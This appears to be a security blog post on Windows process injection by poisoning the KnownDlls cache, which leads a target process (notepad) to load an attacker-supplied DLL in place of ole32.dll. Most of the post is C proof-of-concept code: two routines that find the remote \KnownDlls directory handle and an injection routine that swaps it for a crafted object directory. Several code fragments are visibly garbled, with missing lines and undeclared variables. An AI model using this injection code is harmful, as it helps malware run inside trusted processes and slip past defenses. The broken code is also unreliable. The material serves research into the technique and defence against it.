Windows Process Injection: KnownDlls Cache Poisoning


This is a quick post in response to a method of injection described by James Forshaw in Bypassing CIG Through KnownDlls. The first example of poisoning the KnownDlls cache on Windows can be sourced back to a security advisory CVE-1999-0376 or MS99-066 published in February 1999. That vulnerability was discovered by Christien Rioux from the hacker group, L0pht. The PoC he released to demonstrate the attack became the basis for other projects involving DLL injection and function hooking. For example, Injection into a Process Using KnownDlls published in 2012 is heavily based on dildog’s original source code. What’s interesting about the injection method described by James is that it doesn’t read or write to virtual memory, something that’s required for almost every method of process injection known. It works by replacing a directory handle in a target process which is then used by the DLL loader to load a malicious DLL. Very clever! šŸ™‚ Other posts related to this topic also worth reading:

If you want a closer look at the Windows Object Manager, WinObj from Microsoft is useful as is NtObjectManager.

Figure 1. KnownDlls in WinObj

Obtaining KnownDlls Directory Object Handle

As James points out, there are at least two ways to do this.

Method 1

The handle is stored in a global variable called ntdll!LdrpKnownDllDirectoryHandle (shown in figure 2) and can be found by searching the .data segment of NTDLL. Once the address is found, one can read the existing handle or overwrite it with a new one.

Figure 2. ntdll!LdrpKnownDllDirectoryHandle

The following code implements this method. The base address is constant for each process and therefore not necessary to read from a remote process.

LPVOID GetKnownDllHandle(DWORD pid) {
    LPVOID                   m, va = NULL;
    PIMAGE_DOS_HEADER        dos;
    PIMAGE_NT_HEADERS        nt;
    DWORD                    i, cnt;
    PULONG_PTR               ds;
    BYTE                     buf[1024];

    // get base of NTDLL and pointer to section header
    m   = GetModuleHandle(L"ntdll.dll");
    dos = (PIMAGE_DOS_HEADER)m;  
    nt  = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);  
    sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + 
    // locate the .data segment, save VA and number of pointers
    for(i=0; i<nt->FileHeader.NumberOfSections; i++) {
      if(*(PDWORD)sh[i].Name == *(PDWORD)".data") {
        ds  = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);
        cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);
    // for each pointer
    for(i=0; i<cnt; i++) {
      if((LPVOID)ds[i] == NULL) continue;
      // query the object name
        ObjectNameInformation, n, MAX_PATH, NULL);
      // string returned?
      if(n->Name.Length != 0) {
        // does it match ours?
        if(!lstrcmp(n->Name.Buffer, L"\\KnownDlls")) {
          // return virtual address
          va = &ds[i];
    return va;

Method 2

The SystemHandleInformation class passed to NtQuerySystemInformation will return a list of all handles open on the system. To target a speicific process, we compare the UniqueProcessId from each SYSTEM_HANDLE_TABLE_ENTRY_INFO structure with the target PID. The HandleValue is duplicated and the name is queried. This name is then compared with “\KnownDlls” and if a match is found, HandleValue is returned to the caller.

HANDLE GetKnownDllHandle2(DWORD pid, HANDLE hp) {
    ULONG                      len;
    NTSTATUS                   nts;
    LPVOID                     list=NULL;    
    DWORD                      i;
    HANDLE                     obj, h = NULL;
    BYTE                       buf[1024];
    // read the full list of system handles
    for(len = 8192; ;len += 8192) {
      list = malloc(len);
      nts = NtQuerySystemInformation(
          SystemHandleInformation, list, len, NULL);
      // break from loop if ok    
      if(NT_SUCCESS(nts)) break;
      // free list and continue

    // for each handle
    for(i=0; i<hl->NumberOfHandles && h == NULL; i++) {
      // skip these to avoid hanging process
      if((hl->Handles[i].GrantedAccess == 0x0012019f) || 
         (hl->Handles[i].GrantedAccess == 0x001a019f) || 
         (hl->Handles[i].GrantedAccess == 0x00120189) || 
         (hl->Handles[i].GrantedAccess == 0x00100000)) {

      // skip if this handle not in our target process
      if(hl->Handles[i].UniqueProcessId != pid) {
      // duplicate the handle object
      nts = NtDuplicateObject(
            hp, (HANDLE)hl->Handles[i].HandleValue, 
            GetCurrentProcess(), &obj, 0, FALSE, 
      if(NT_SUCCESS(nts)) {
        // query the name
          obj, ObjectNameInformation, 
          name, MAX_PATH, NULL);
        // if name returned.. 
        if(name->Name.Length != 0) {
          // is it knowndlls directory?
          if(!lstrcmp(name->Name.Buffer, L"\\KnownDlls")) {
            h = (HANDLE)hl->Handles[i].HandleValue;
    return h;


The following code is purely based on the steps described in the article and in its current state will cause a target process to stop working properly. That’s why the PoC creates a process (notepad) before attempting injection rather than allowing selection of a process.

VOID knowndll_inject(DWORD pid, PWCHAR fake_dll, PWCHAR target_dll) {
    NTSTATUS          nts;
    DWORD             i;
    HANDLE            hp, hs, hf, dir, target_handle;
    OBJECT_ATTRIBUTES fa, da, sa;
    UNICODE_STRING    fn, dn, sn, ntpath;
    IO_STATUS_BLOCK   iosb;

    // open process for duplicating handle, suspending/resuming process
    // 1. Get the KnownDlls directory object handle from remote process
    target_handle = GetKnownDllHandle2(pid, hp);

    // 2. Create empty object directory, insert named section of DLL to hijack
    //    using file handle of DLL to inject    
    InitializeObjectAttributes(&da, NULL, 0, NULL, NULL);
    nts = NtCreateDirectoryObject(&dir, DIRECTORY_ALL_ACCESS, &da);
    // 2.1 open the fake DLL
    RtlDosPathNameToNtPathName_U(fake_dll, &fn, NULL, NULL);
    InitializeObjectAttributes(&fa, &fn, OBJ_CASE_INSENSITIVE, NULL, NULL);
    nts = NtOpenFile(
      &fa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, 0);
    // 2.2 create named section of target DLL using fake DLL image
    RtlInitUnicodeString(&sn, target_dll);
    InitializeObjectAttributes(&sa, &sn, OBJ_CASE_INSENSITIVE, dir, NULL);
    nts = NtCreateSection(
      &hs, SECTION_ALL_ACCESS, &sa, 
    // 3. Close the known DLLs handle in remote process
    DuplicateHandle(hp, target_handle, 
      GetCurrentProcess(), NULL, 0, TRUE, DUPLICATE_CLOSE_SOURCE);
    // 4. Duplicate object directory for remote process
        GetCurrentProcess(), dir, hp, 
    printf("Select File->Open to load \"%ws\" into notepad.\n", fake_dll);
    printf("Press any key to continue...\n");


Figure 3 shows a message box displayed after the hijacked DLL (ole32.dll) is loaded.

Figure 3. Injection in notepad.

PoC here.

This entry was posted in injection, programming, windows and tagged , , , . Bookmark the permalink.

1 Response to Windows Process Injection: KnownDlls Cache Poisoning

  1. Pingback: Hardware Root of Trust ā€“ Bios and UEFI

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s